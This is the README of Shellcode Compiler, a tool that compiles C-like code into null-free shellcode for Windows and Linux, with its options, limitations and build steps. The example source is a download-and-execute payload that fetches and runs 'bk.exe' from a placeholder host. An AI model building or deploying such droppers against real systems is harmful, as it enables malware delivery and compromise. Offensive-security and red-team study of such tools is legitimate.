Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way.
Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine.
-h (--help) : Show this help message -p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64 -v (--verbose) : Print detailed output -t (--test) : Test (execute) generated shellcode -r (--read) : Read source code file -o (--output) : Output file of the generated binary shellcode -a (--assembbly) : Output file of the generated assembly code function URLDownloadToFileA("urlmon.dll"); function WinExec("kernel32.dll"); function ExitProcess("kernel32.dll"); URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0); WinExec("bk.exe",0); ExitProcess(0); chmod("/root/chmodme",511); write(1,"Hello, world",12); kill(1661,9); getpid(); execve("/usr/bin/burpsuite",0,0); exit(2); ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64 - It is not possible to use the return value of an API call
- It is not possible to use pointers or buffers
- It is not possible to declare variables
Multiple other limitations exists as well. This is an Alpha version. Please report any bugs or suggestions.
- Initial support for Windows x64
- Initial support for Linux (x86 and x64) shellcodes
- Download Keystone Engine source code
- Compile Keystone Engine as static library using nmake-lib.sh (for Linux) and nmake-lib.bat (for Windows)
- Windows: Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib (for 32 bits) and keystone_x64.lib (for 64 bits)
- Linux: Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\libkeystone_x86.a (for 32 bits) and libkeystone_x64.a (for 64 bits)
Ionut Popescu (@NytroRST)